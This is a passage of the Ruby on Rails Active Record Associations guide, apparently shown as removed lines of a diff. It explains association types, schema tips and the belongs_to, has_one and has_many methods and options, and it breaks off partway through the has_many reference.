-A +has_many+ association indicates a one-to-many connection with another model. You'll often find this association on the "other side" of a +belongs_to+ association. This association indicates that each instance of the model has zero or more instances of another model. For example, in an application containing customers and orders, the customer model could be declared like this:
-
-<ruby>
-class Customer < ActiveRecord::Base
-  has_many :orders
-end
-</ruby>
-
-NOTE: The name of the other model is pluralized when declaring a +has_many+ association.
-
-!images/has_many.png(has_many Association Diagram)!
-
-h4. The +has_many :through+ Association
-
-A +has_many :through+ association is often used to set up a many-to-many connection with another model. This association indicates that the declaring model can be matched with zero or more instances of another model by proceeding _through_ a third model. For example, consider a medical practice where patients make appointments to see physicians. The relevant association declarations could look like this:
-
-<ruby>
-class Physician < ActiveRecord::Base
-  has_many :appointments
-  has_many :patients, :through => :appointments
-end
-
-class Appointment < ActiveRecord::Base
-  belongs_to :physician
-  belongs_to :patient
-end
-
-class Patient < ActiveRecord::Base
-  has_many :appointments
-  has_many :physicians, :through => :appointments
-end
-</ruby>
-
-!images/has_many_through.png(has_many :through Association Diagram)!
-
-The collection of join models can be managed via the API. For example, if you assign
-
-<ruby>
-physician.patients = patients
-</ruby>
-
-new join models are created for newly associated objects, and if some are gone their rows are deleted.
-
-WARNING: Automatic deletion of join models is direct, no destroy callbacks are triggered.
-
-The +has_many :through+ association is also useful for setting up "shortcuts" through nested +has_many+ associations. For example, if a document has many sections, and a section has many paragraphs, you may sometimes want to get a simple collection of all paragraphs in the document. You could set that up this way:
-
-<ruby>
-class Document < ActiveRecord::Base
-  has_many :sections
-  has_many :paragraphs, :through => :sections
-end
-
-class Section < ActiveRecord::Base
-  belongs_to :document
-  has_many :paragraphs
-end
-
-class Paragraph < ActiveRecord::Base
-  belongs_to :section
-end
-</ruby>
-
-With +:through => :sections+ specified, Rails will now understand:
-
-<ruby>
-@document.paragraphs
-</ruby>
-
-h4. The +has_one :through+ Association
-
-A +has_one :through+ association sets up a one-to-one connection with another model. This association indicates that the declaring model can be matched with one instance of another model by proceeding _through_ a third model. For example, if each supplier has one account, and each account is associated with one account history, then the customer model could look like this:
-
-<ruby>
-class Supplier < ActiveRecord::Base
-  has_one :account
-  has_one :account_history, :through => :account
-end
-
-class Account < ActiveRecord::Base
-  belongs_to :supplier
-  has_one :account_history
-end
-
-class AccountHistory < ActiveRecord::Base
-  belongs_to :account
-end
-</ruby>
-
-!images/has_one_through.png(has_one :through Association Diagram)!
-
-h4. The +has_and_belongs_to_many+ Association
-
-A +has_and_belongs_to_many+ association creates a direct many-to-many connection with another model, with no intervening model. For example, if your application includes assemblies and parts, with each assembly having many parts and each part appearing in many assemblies, you could declare the models this way:
-
-<ruby>
-class Assembly < ActiveRecord::Base
-  has_and_belongs_to_many :parts
-end
-
-class Part < ActiveRecord::Base
-  has_and_belongs_to_many :assemblies
-end
-</ruby>
-
-!images/habtm.png(has_and_belongs_to_many Association Diagram)!
-
-h4. Choosing Between +belongs_to+ and +has_one+
-
-If you want to set up a one-to-one relationship between two models, you'll need to add +belongs_to+ to one, and +has_one+ to the other. How do you know which is which?
-
-The distinction is in where you place the foreign key (it goes on the table for the class declaring the +belongs_to+ association), but you should give some thought to the actual meaning of the data as well. The +has_one+ relationship says that one of something is yours - that is, that something points back to you. For example, it makes more sense to say that a supplier owns an account than that an account owns a supplier. This suggests that the correct relationships are like this:
-
-<ruby>
-class Supplier < ActiveRecord::Base
-  has_one :account
-end
-
-class Account < ActiveRecord::Base
-  belongs_to :supplier
-end
-</ruby>
-
-The corresponding migration might look like this:
-
-<ruby>
-class CreateSuppliers < ActiveRecord::Migration
-  def change
-    create_table :suppliers do |t|
-      t.string  :name
-      t.timestamps
-    end
-
-    create_table :accounts do |t|
-      t.integer :supplier_id
-      t.string  :account_number
-      t.timestamps
-    end
-  end
-end
-</ruby>
-
-NOTE: Using +t.integer :supplier_id+ makes the foreign key naming obvious and explicit. In current versions of Rails, you can abstract away this implementation detail by using +t.references :supplier+ instead.
-
-h4. Choosing Between +has_many :through+ and +has_and_belongs_to_many+
-
-Rails offers two different ways to declare a many-to-many relationship between models. The simpler way is to use +has_and_belongs_to_many+, which allows you to make the association directly:
-
-<ruby>
-class Assembly < ActiveRecord::Base
-  has_and_belongs_to_many :parts
-end
-
-class Part < ActiveRecord::Base
-  has_and_belongs_to_many :assemblies
-end
-</ruby>
-
-The second way to declare a many-to-many relationship is to use +has_many :through+. This makes the association indirectly, through a join model:
-
-<ruby>
-class Assembly < ActiveRecord::Base
-  has_many :manifests
-  has_many :parts, :through => :manifests
-end
-
-class Manifest < ActiveRecord::Base
-  belongs_to :assembly
-  belongs_to :part
-end
-
-class Part < ActiveRecord::Base
-  has_many :manifests
-  has_many :assemblies, :through => :manifests
-end
-</ruby>
-
-The simplest rule of thumb is that you should set up a +has_many :through+ relationship if you need to work with the relationship model as an independent entity. If you don't need to do anything with the relationship model, it may be simpler to set up a +has_and_belongs_to_many+ relationship (though you'll need to remember to create the joining table in the database).
-
-You should use +has_many :through+ if you need validations, callbacks, or extra attributes on the join model.
-
-h4. Polymorphic Associations
-
-A slightly more advanced twist on associations is the _polymorphic association_. With polymorphic associations, a model can belong to more than one other model, on a single association. For example, you might have a picture model that belongs to either an employee model or a product model. Here's how this could be declared:
-
-<ruby>
-class Picture < ActiveRecord::Base
-  belongs_to :imageable, :polymorphic => true
-end
-
-class Employee < ActiveRecord::Base
-  has_many :pictures, :as => :imageable
-end
-
-class Product < ActiveRecord::Base
-  has_many :pictures, :as => :imageable
-end
-</ruby>
-
-You can think of a polymorphic +belongs_to+ declaration as setting up an interface that any other model can use. From an instance of the +Employee+ model, you can retrieve a collection of pictures: +@employee.pictures+.
-
-Similarly, you can retrieve +@product.pictures+.
-
-If you have an instance of the +Picture+ model, you can get to its parent via +@picture.imageable+. To make this work, you need to declare both a foreign key column and a type column in the model that declares the polymorphic interface:
-
-<ruby>
-class CreatePictures < ActiveRecord::Migration
-  def change
-    create_table :pictures do |t|
-      t.string  :name
-      t.integer :imageable_id
-      t.string  :imageable_type
-      t.timestamps
-    end
-  end
-end
-</ruby>
-
-This migration can be simplified by using the +t.references+ form:
-
-<ruby>
-class CreatePictures < ActiveRecord::Migration
-  def change
-    create_table :pictures do |t|
-      t.string :name
-      t.references :imageable, :polymorphic => true
-      t.timestamps
-    end
-  end
-end
-</ruby>
-
-!images/polymorphic.png(Polymorphic Association Diagram)!
-
-h4. Self Joins
-
-In designing a data model, you will sometimes find a model that should have a relation to itself. For example, you may want to store all employees in a single database model, but be able to trace relationships such as between manager and subordinates. This situation can be modeled with self-joining associations:
-
-<ruby>
-class Employee < ActiveRecord::Base
-  has_many :subordinates, :class_name => "Employee"
-  belongs_to :manager, :class_name => "Employee",
-    :foreign_key => "manager_id"
-end
-</ruby>
-
-With this setup, you can retrieve +@employee.subordinates+ and +@employee.manager+.
-
-h3. Tips, Tricks, and Warnings
-
-Here are a few things you should know to make efficient use of Active Record associations in your Rails applications:
-
-* Controlling caching
-* Avoiding name collisions
-* Updating the schema
-* Controlling association scope
-
-h4. Controlling Caching
-
-All of the association methods are built around caching, which keeps the result of the most recent query available for further operations. The cache is even shared across methods. For example:
-
-<ruby>
-customer.orders                 # retrieves orders from the database
-customer.orders.size            # uses the cached copy of orders
-customer.orders.empty?          # uses the cached copy of orders
-</ruby>
-
-But what if you want to reload the cache, because data might have been changed by some other part of the application? Just pass +true+ to the association call:
-
-<ruby>
-customer.orders                 # retrieves orders from the database
-customer.orders.size            # uses the cached copy of orders
-customer.orders(true).empty?    # discards the cached copy of orders
-                                # and goes back to the database
-</ruby>
-
-h4. Avoiding Name Collisions
-
-You are not free to use just any name for your associations. Because creating an association adds a method with that name to the model, it is a bad idea to give an association a name that is already used for an instance method of +ActiveRecord::Base+. The association method would override the base method and break things. For instance, +attributes+ or +connection+ are bad names for associations.
-
-h4. Updating the Schema
-
-Associations are extremely useful, but they are not magic. You are responsible for maintaining your database schema to match your associations. In practice, this means two things, depending on what sort of associations you are creating. For +belongs_to+ associations you need to create foreign keys, and for +has_and_belongs_to_many+ associations you need to create the appropriate join table.
-
-h5. Creating Foreign Keys for +belongs_to+ Associations
-
-When you declare a +belongs_to+ association, you need to create foreign keys as appropriate. For example, consider this model:
-
-<ruby>
-class Order < ActiveRecord::Base
-  belongs_to :customer
-end
-</ruby>
-
-This declaration needs to be backed up by the proper foreign key declaration on the orders table:
-
-<ruby>
-class CreateOrders < ActiveRecord::Migration
-  def change
-    create_table :orders do |t|
-      t.datetime :order_date
-      t.string   :order_number
-      t.integer  :customer_id
-    end
-  end
-end
-</ruby>
-
-If you create an association some time after you build the underlying model, you need to remember to create an +add_column+ migration to provide the necessary foreign key.
-
-h5. Creating Join Tables for +has_and_belongs_to_many+ Associations
-
-If you create a +has_and_belongs_to_many+ association, you need to explicitly create the joining table. Unless the name of the join table is explicitly specified by using the +:join_table+ option, Active Record creates the name by using the lexical order of the class names. So a join between customer and order models will give the default join table name of "customers_orders" because "c" outranks "o" in lexical ordering.
-
-WARNING: The precedence between model names is calculated using the +&lt;+ operator for +String+. This means that if the strings are of different lengths, and the strings are equal when compared up to the shortest length, then the longer string is considered of higher lexical precedence than the shorter one. For example, one would expect the tables "paper_boxes" and "papers" to generate a join table name of "papers_paper_boxes" because of the length of the name "paper_boxes", but it in fact generates a join table name of "paper_boxes_papers" (because the underscore '_' is lexicographically _less_ than 's' in common encodings).
-
-Whatever the name, you must manually generate the join table with an appropriate migration. For example, consider these associations:
-
-<ruby>
-class Assembly < ActiveRecord::Base
-  has_and_belongs_to_many :parts
-end
-
-class Part < ActiveRecord::Base
-  has_and_belongs_to_many :assemblies
-end
-</ruby>
-
-These need to be backed up by a migration to create the +assemblies_parts+ table. This table should be created without a primary key:
-
-<ruby>
-class CreateAssemblyPartJoinTable < ActiveRecord::Migration
-  def change
-    create_table :assemblies_parts, :id => false do |t|
-      t.integer :assembly_id
-      t.integer :part_id
-    end
-  end
-end
-</ruby>
-
-We pass +:id => false+ to +create_table+ because that table does not represent a model. That's required for the association to work properly. If you observe any strange behavior in a +has_and_belongs_to_many+ association like mangled models IDs, or exceptions about conflicting IDs chances are you forgot that bit.
-
-h4. Controlling Association Scope
-
-By default, associations look for objects only within the current module's scope. This can be important when you declare Active Record models within a module. For example:
-
-<ruby>
-module MyApplication
-  module Business
-    class Supplier < ActiveRecord::Base
-       has_one :account
-    end
-
-    class Account < ActiveRecord::Base
-       belongs_to :supplier
-    end
-  end
-end
-</ruby>
-
-This will work fine, because both the +Supplier+ and the +Account+ class are defined within the same scope. But the following will _not_ work, because +Supplier+ and +Account+ are defined in different scopes:
-
-<ruby>
-module MyApplication
-  module Business
-    class Supplier < ActiveRecord::Base
-       has_one :account
-    end
-  end
-
-  module Billing
-    class Account < ActiveRecord::Base
-       belongs_to :supplier
-    end
-  end
-end
-</ruby>
-
-To associate a model with a model in a different namespace, you must specify the complete class name in your association declaration:
-
-<ruby>
-module MyApplication
-  module Business
-    class Supplier < ActiveRecord::Base
-       has_one :account,
-        :class_name => "MyApplication::Billing::Account"
-    end
-  end
-
-  module Billing
-    class Account < ActiveRecord::Base
-       belongs_to :supplier,
-        :class_name => "MyApplication::Business::Supplier"
-    end
-  end
-end
-</ruby>
-
-h3. Detailed Association Reference
-
-The following sections give the details of each type of association, including the methods that they add and the options that you can use when declaring an association.
-
-h4. +belongs_to+ Association Reference
-
-The +belongs_to+ association creates a one-to-one match with another model. In database terms, this association says that this class contains the foreign key. If the other class contains the foreign key, then you should use +has_one+ instead.
-
-h5. Methods Added by +belongs_to+
-
-When you declare a +belongs_to+ association, the declaring class automatically gains four methods related to the association:
-
-* <tt><em>association</em>(force_reload = false)</tt>
-* <tt><em>association</em>=(associate)</tt>
-* <tt>build_<em>association</em>(attributes = {})</tt>
-* <tt>create_<em>association</em>(attributes = {})</tt>
-
-In all of these methods, <tt><em>association</em></tt> is replaced with the symbol passed as the first argument to +belongs_to+. For example, given the declaration:
-
-<ruby>
-class Order < ActiveRecord::Base
-  belongs_to :customer
-end
-</ruby>
-
-Each instance of the order model will have these methods:
-
-<ruby>
-customer
-customer=
-build_customer
-create_customer
-</ruby>
-
-NOTE: When initializing a new +has_one+ or +belongs_to+ association you must use the +build_+ prefix to build the association, rather than the +association.build+ method that would be used for +has_many+ or +has_and_belongs_to_many+ associations. To create one, use the +create_+ prefix.
-
-h6(#belongs_to-association). <tt><em>association</em>(force_reload = false)</tt>
-
-The <tt><em>association</em></tt> method returns the associated object, if any. If no associated object is found, it returns +nil+.
-
-<ruby>
-@customer = @order.customer
-</ruby>
-
-If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass +true+ as the +force_reload+ argument.
-
-h6(#belongs_to-association_equal). <tt>_association_=(associate)</tt>
-
-The <tt><em>association</em>=</tt> method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from the associate object and setting this object's foreign key to the same value.
-
-<ruby>
-@order.customer = @customer
-</ruby>
-
-h6(#belongs_to-build_association). <tt>build_<em>association</em>(attributes = {})</tt>
-
-The <tt>build_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set, but the associated object will _not_ yet be saved.
-
-<ruby>
-@customer = @order.build_customer(:customer_number => 123,
-  :customer_name => "John Doe")
-</ruby>
-
-h6(#belongs_to-create_association). <tt>create_<em>association</em>(attributes = {})</tt>
-
-The <tt>create_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through this object's foreign key will be set, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved.
-
-<ruby>
-@customer = @order.create_customer(:customer_number => 123,
-  :customer_name => "John Doe")
-</ruby>
-
-
-h5. Options for +belongs_to+
-
-While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the +belongs_to+ association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this assocation uses two such options:
-
-<ruby>
-class Order < ActiveRecord::Base
-  belongs_to :customer, :counter_cache => true,
-    :conditions => "active = 1"
-end
-</ruby>
-
-The +belongs_to+ association supports these options:
-
-* +:autosave+
-* +:class_name+
-* +:conditions+
-* +:counter_cache+
-* +:dependent+
-* +:foreign_key+
-* +:include+
-* +:polymorphic+
-* +:readonly+
-* +:select+
-* +:touch+
-* +:validate+
-
-h6(#belongs_to-autosave). +:autosave+
-
-If you set the +:autosave+ option to +true+, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.
-
-h6(#belongs_to-class_name). +:class_name+
-
-If the name of the other model cannot be derived from the association name, you can use the +:class_name+ option to supply the model name. For example, if an order belongs to a customer, but the actual name of the model containing customers is +Patron+, you'd set things up this way:
-
-<ruby>
-class Order < ActiveRecord::Base
-  belongs_to :customer, :class_name => "Patron"
-end
-</ruby>
-
-h6(#belongs_to-conditions). +:conditions+
-
-The +:conditions+ option lets you specify the conditions that the associated object must meet (in the syntax used by an SQL +WHERE+ clause).
-
-<ruby>
-class Order < ActiveRecord::Base
-  belongs_to :customer, :conditions => "active = 1"
-end
-</ruby>
-
-h6(#belongs_to-counter_cache). +:counter_cache+
-
-The +:counter_cache+ option can be used to make finding the number of belonging objects more efficient. Consider these models:
-
-<ruby>
-class Order < ActiveRecord::Base
-  belongs_to :customer
-end
-class Customer < ActiveRecord::Base
-  has_many :orders
-end
-</ruby>
-
-With these declarations, asking for the value of +@customer.orders.size+ requires making a call to the database to perform a +COUNT(*)+ query. To avoid this call, you can add a counter cache to the _belonging_ model:
-
-<ruby>
-class Order < ActiveRecord::Base
-  belongs_to :customer, :counter_cache => true
-end
-class Customer < ActiveRecord::Base
-  has_many :orders
-end
-</ruby>
-
-With this declaration, Rails will keep the cache value up to date, and then return that value in response to the +size+ method.
-
-Although the +:counter_cache+ option is specified on the model that includes the +belongs_to+ declaration, the actual column must be added to the _associated_ model. In the case above, you would need to add a column named +orders_count+ to the +Customer+ model. You can override the default column name if you need to:
-
-<ruby>
-class Order < ActiveRecord::Base
-  belongs_to :customer, :counter_cache => :count_of_orders
-end
-class Customer < ActiveRecord::Base
-  has_many :orders
-end
-</ruby>
-
-Counter cache columns are added to the containing model's list of read-only attributes through +attr_readonly+.
-
-h6(#belongs_to-dependent). +:dependent+
-
-If you set the +:dependent+ option to +:destroy+, then deleting this object will call the +destroy+ method on the associated object to delete that object. If you set the +:dependent+ option to +:delete+, then deleting this object will delete the associated object _without_ calling its +destroy+ method.
-
-WARNING: You should not specify this option on a +belongs_to+ association that is connected with a +has_many+ association on the other class. Doing so can lead to orphaned records in your database.
-
-h6(#belongs_to-foreign_key). +:foreign_key+
-
-By convention, Rails assumes that the column used to hold the foreign key on this model is the name of the association with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly:
-
-<ruby>
-class Order < ActiveRecord::Base
-  belongs_to :customer, :class_name => "Patron",
-    :foreign_key => "patron_id"
-end
-</ruby>
-
-TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.
-
-h6(#belongs_to-includes). +:include+
-
-You can use the +:include+ option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
-
-<ruby>
-class LineItem < ActiveRecord::Base
-  belongs_to :order
-end
-
-class Order < ActiveRecord::Base
-  belongs_to :customer
-  has_many :line_items
-end
-
-class Customer < ActiveRecord::Base
-  has_many :orders
-end
-</ruby>
-
-If you frequently retrieve customers directly from line items (+@line_item.order.customer+), then you can make your code somewhat more efficient by including customers in the association from line items to orders:
-
-<ruby>
-class LineItem < ActiveRecord::Base
-  belongs_to :order, :include => :customer
-end
-
-class Order < ActiveRecord::Base
-  belongs_to :customer
-  has_many :line_items
-end
-
-class Customer < ActiveRecord::Base
-  has_many :orders
-end
-</ruby>
-
-NOTE: There's no need to use +:include+ for immediate associations - that is, if you have +Order belongs_to :customer+, then the customer is eager-loaded automatically when it's needed.
-
-h6(#belongs_to-polymorphic). +:polymorphic+
-
-Passing +true+ to the +:polymorphic+ option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail <a href="#polymorphic-associations">earlier in this guide</a>.
-
-h6(#belongs_to-readonly). +:readonly+
-
-If you set the +:readonly+ option to +true+, then the associated object will be read-only when retrieved via the association.
-
-h6(#belongs_to-select). +:select+
-
-The +:select+ option lets you override the SQL +SELECT+ clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns.
-
-TIP: If you set the +:select+ option on a +belongs_to+ association, you should also set the +foreign_key+ option to guarantee the correct results.
-
-h6(#belongs_to-touch). +:touch+
-
-If you set the +:touch+ option to +:true+, then the +updated_at+ or +updated_on+ timestamp on the associated object will be set to the current time whenever this object is saved or destroyed:
-
-<ruby>
-class Order < ActiveRecord::Base
-  belongs_to :customer, :touch => true
-end
-
-class Customer < ActiveRecord::Base
-  has_many :orders
-end
-</ruby>
-
-In this case, saving or destroying an order will update the timestamp on the associated customer. You can also specify a particular timestamp attribute to update:
-
-<ruby>
-class Order < ActiveRecord::Base
-  belongs_to :customer, :touch => :orders_updated_at
-end
-</ruby>
-
-h6(#belongs_to-validate). +:validate+
-
-If you set the +:validate+ option to +true+, then associated objects will be validated whenever you save this object. By default, this is +false+: associated objects will not be validated when this object is saved.
-
-h5(#belongs_to-do_any_associated_objects_exist). Do Any Associated Objects Exist?
-
-You can see if any associated objects exist by using the <tt><em>association</em>.nil?</tt> method:
-
-<ruby>
-if @order.customer.nil?
-  @msg = "No customer found for this order"
-end
-</ruby>
-
-h5(#belongs_to-when_are_objects_saved). When are Objects Saved?
-
-Assigning an object to a +belongs_to+ association does _not_ automatically save the object. It does not save the associated object either.
-
-h4. +has_one+ Association Reference
-
-The +has_one+ association creates a one-to-one match with another model. In database terms, this association says that the other class contains the foreign key. If this class contains the foreign key, then you should use +belongs_to+ instead.
-
-h5. Methods Added by +has_one+
-
-When you declare a +has_one+ association, the declaring class automatically gains four methods related to the association:
-
-* <tt><em>association</em>(force_reload = false)</tt>
-* <tt><em>association</em>=(associate)</tt>
-* <tt>build_<em>association</em>(attributes = {})</tt>
-* <tt>create_<em>association</em>(attributes = {})</tt>
-
-In all of these methods, <tt><em>association</em></tt> is replaced with the symbol passed as the first argument to +has_one+. For example, given the declaration:
-
-<ruby>
-class Supplier < ActiveRecord::Base
-  has_one :account
-end
-</ruby>
-
-Each instance of the +Supplier+ model will have these methods:
-
-<ruby>
-account
-account=
-build_account
-create_account
-</ruby>
-
-NOTE: When initializing a new +has_one+ or +belongs_to+ association you must use the +build_+ prefix to build the association, rather than the +association.build+ method that would be used for +has_many+ or +has_and_belongs_to_many+ associations. To create one, use the +create_+ prefix.
-
-h6(#has_one-association). <tt><em>association</em>(force_reload = false)</tt>
-
-The <tt><em>association</em></tt> method returns the associated object, if any. If no associated object is found, it returns +nil+.
-
-<ruby>
-@account = @supplier.account
-</ruby>
-
-If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass +true+ as the +force_reload+ argument.
-
-h6(#has_one-association_equal). <tt><em>association</em>=(associate)</tt>
-
-The <tt><em>association</em>=</tt> method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from this object and setting the associate object's foreign key to the same value.
-
-<ruby>
-@supplier.account = @account
-</ruby>
-
-h6(#has_one-build_association). <tt>build_<em>association</em>(attributes = {})</tt>
-
-The <tt>build_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set, but the associated object will _not_ yet be saved.
-
-<ruby>
-@account = @supplier.build_account(:terms => "Net 30")
-</ruby>
-
-h6(#has_one-create_association). <tt>create_<em>association</em>(attributes = {})</tt>
-
-The <tt>create_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be set, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved.
-
-<ruby>
-@account = @supplier.create_account(:terms => "Net 30")
-</ruby>
-
-h5. Options for +has_one+
-
-While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the +has_one+ association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this assocation uses two such options:
-
-<ruby>
-class Supplier < ActiveRecord::Base
-  has_one :account, :class_name => "Billing", :dependent => :nullify
-end
-</ruby>
-
-The +has_one+ association supports these options:
-
-* +:as+
-* +:autosave+
-* +:class_name+
-* +:conditions+
-* +:dependent+
-* +:foreign_key+
-* +:include+
-* +:order+
-* +:primary_key+
-* +:readonly+
-* +:select+
-* +:source+
-* +:source_type+
-* +:through+
-* +:validate+
-
-h6(#has_one-as). +:as+
-
-Setting the +:as+ option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail <a href="#polymorphic-associations">earlier in this guide</a>.
-
-h6(#has_one-autosave). +:autosave+
-
-If you set the +:autosave+ option to +true+, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.
-
-h6(#has_one-class_name). +:class_name+
-
-If the name of the other model cannot be derived from the association name, you can use the +:class_name+ option to supply the model name. For example, if a supplier has an account, but the actual name of the model containing accounts is +Billing+, you'd set things up this way:
-
-<ruby>
-class Supplier < ActiveRecord::Base
-  has_one :account, :class_name => "Billing"
-end
-</ruby>
-
-h6(#has_one-conditions). +:conditions+
-
-The +:conditions+ option lets you specify the conditions that the associated object must meet (in the syntax used by an SQL +WHERE+ clause).
-
-<ruby>
-class Supplier < ActiveRecord::Base
-  has_one :account, :conditions => "confirmed = 1"
-end
-</ruby>
-
-h6(#has_one-dependent). +:dependent+
-
-If you set the +:dependent+ option to +:destroy+, then deleting this object will call the +destroy+ method on the associated object to delete that object. If you set the +:dependent+ option to +:delete+, then deleting this object will delete the associated object _without_ calling its +destroy+ method. If you set the +:dependent+ option to +:nullify+, then deleting this object will set the foreign key in the association object to +NULL+.
-
-h6(#has_one-foreign_key). +:foreign_key+
-
-By convention, Rails assumes that the column used to hold the foreign key on the other model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly:
-
-<ruby>
-class Supplier < ActiveRecord::Base
-  has_one :account, :foreign_key => "supp_id"
-end
-</ruby>
-
-TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.
-
-h6(#has_one-include). +:include+
-
-You can use the +:include+ option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
-
-<ruby>
-class Supplier < ActiveRecord::Base
-  has_one :account
-end
-
-class Account < ActiveRecord::Base
-  belongs_to :supplier
-  belongs_to :representative
-end
-
-class Representative < ActiveRecord::Base
-  has_many :accounts
-end
-</ruby>
-
-If you frequently retrieve representatives directly from suppliers (+@supplier.account.representative+), then you can make your code somewhat more efficient by including representatives in the association from suppliers to accounts:
-
-<ruby>
-class Supplier < ActiveRecord::Base
-  has_one :account, :include => :representative
-end
-
-class Account < ActiveRecord::Base
-  belongs_to :supplier
-  belongs_to :representative
-end
-
-class Representative < ActiveRecord::Base
-  has_many :accounts
-end
-</ruby>
-
-h6(#has_one-order). +:order+
-
-The +:order+ option dictates the order in which associated objects will be received (in the syntax used by an SQL +ORDER BY+ clause). Because a +has_one+ association will only retrieve a single associated object, this option should not be needed.
-
-h6(#has_one-primary_key). +:primary_key+
-
-By convention, Rails assumes that the column used to hold the primary key of this model is +id+. You can override this and explicitly specify the primary key with the +:primary_key+ option.
-
-h6(#has_one-readonly). +:readonly+
-
-If you set the +:readonly+ option to +true+, then the associated object will be read-only when retrieved via the association.
-
-h6(#has_one-select). +:select+
-
-The +:select+ option lets you override the SQL +SELECT+ clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns.
-
-h6(#has_one-source). +:source+
-
-The +:source+ option specifies the source association name for a +has_one :through+ association.
-
-h6(#has_one-source_type). +:source_type+
-
-The +:source_type+ option specifies the source association type for a +has_one :through+ association that proceeds through a polymorphic association.
-
-h6(#has_one-through). +:through+
-
-The +:through+ option specifies a join model through which to perform the query. +has_one :through+ associations were discussed in detail <a href="#the-has_one-through-association">earlier in this guide</a>.
-
-h6(#has_one-validate). +:validate+
-
-If you set the +:validate+ option to +true+, then associated objects will be validated whenever you save this object. By default, this is +false+: associated objects will not be validated when this object is saved.
-
-h5(#has_one-do_any_associated_objects_exist). Do Any Associated Objects Exist?
-
-You can see if any associated objects exist by using the <tt><em>association</em>.nil?</tt> method:
-
-<ruby>
-if @supplier.account.nil?
-  @msg = "No account found for this supplier"
-end
-</ruby>
-
-h5(#has_one-when_are_objects_saved). When are Objects Saved?
-
-When you assign an object to a +has_one+ association, that object is automatically saved (in order to update its foreign key). In addition, any object being replaced is also automatically saved, because its foreign key will change too.
-
-If either of these saves fails due to validation errors, then the assignment statement returns +false+ and the assignment itself is cancelled.
-
-If the parent object (the one declaring the +has_one+ association) is unsaved (that is, +new_record?+ returns +true+) then the child objects are not saved. They will automatically when the parent object is saved.
-
-If you want to assign an object to a +has_one+ association without saving the object, use the <tt><em>association</em>.build</tt> method.
-
-h4. +has_many+ Association Reference
-
-The +has_many+ association creates a one-to-many relationship with another model. In database terms, this association says that the other class will have a foreign key that refers to instances of this class.
-
-h5. Methods Added by +has_many+
-
-When you declare a +has_many+ association, the declaring class automatically gains 13 methods related to the association:
-
-* <tt><em>collection</em>(force_reload = false)</tt>
-* <tt><em>collection</em><<(object, ...)</tt>
-* <tt><em>collection</em>.delete(object, ...)</tt>
-* <tt><em>collection</em>=objects</tt>
-* <tt><em>collection_singular</em>_ids</tt>
-* <tt><em>collection_singular</em>_ids=ids</tt>
-* <tt><em>collection</em>.clear</tt>
-* <tt><em>collection</em>.empty?</tt>
-* <tt><em>collection</em>.size</tt>
-* <tt><em>collection</em>.find(...)</tt>
-* <tt><em>collection</em>.where(...)</tt>
-* <tt><em>collection</em>.exists?(...)</tt>
-* <tt><em>collection</em>.build(attributes = {}, ...)</tt>
-* <tt><em>collection</em>.create(attributes = {})</tt>
-
-In all of these methods, <tt><em>collection</em></tt> is replaced with the symbol passed as the first argument to +has_many+, and <tt><em>collection_singular</em></tt> is replaced with the singularized version of that symbol.. For example, given the declaration:
-
-<ruby>
-class Customer < ActiveRecord::Base
-  has_many :orders
-end
-</ruby>
-
-Each instance of the customer model will have these methods:
-
-<ruby>
-orders(force_reload = false)
-orders<<(object, ...)
-orders.delete(object, ...)
-orders=objects
-order_ids
-order_ids=ids
-orders.clear
-orders.empty?
-orders.size
-orders.find(...)
-orders.where(...)
-orders.exists?(...)
-orders.build(attributes = {}, ...)
-orders.create(attributes = {})
-</ruby>
-
-h6(#has_many-collection). <tt><em>collection</em>(force_reload = false)</tt>
-
-The <tt><em>collection</em></tt> method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.
-
-<ruby>
-@orders = @customer.orders
-</ruby>
-
-h6(#has_many-collection-lt_lt). <tt><em>collection</em><<(object, ...)</tt>
-
-The <tt><em>collection</em><<</tt> method adds one or more objects to the collection by setting their foreign keys to the primary key of the calling model.
-
-<ruby>
-@customer.orders << @order1
-</ruby>
-
-h6(#has_many-collection-delete). <tt><em>collection</em>.delete(object, ...)</tt>
-
-The <tt><em>collection</em>.delete</tt> method removes one or more objects from the collection by setting their foreign keys to +NULL+.
-
-<ruby>
-@customer.orders.delete(@order1)
-</ruby>
-
-WARNING: Additionally, objects will be destroyed if they're associated with +:dependent => :destroy+, and deleted if they're associated with +:dependent => :delete_all+.
-
-
-h6(#has_many-collection-equal). <tt><em>collection</em>=objects</tt>
-
-The <tt><em>collection</em>=</tt> method makes the collection contain only the supplied objects, by adding and deleting as appropriate.
-
-h6(#has_many-collection_singular). <tt><em>collection_singular</em>_ids</tt>
-
-The <tt><em>collection_singular</em>_ids</tt> method returns an array of the ids of the objects in the collection.
-
-<ruby>
-@order_ids = @customer.order_ids
-</ruby>
-
-h6(#has_many-collection_singular_ids_ids). <tt><em>collection_singular</em>_ids=ids</tt>
-
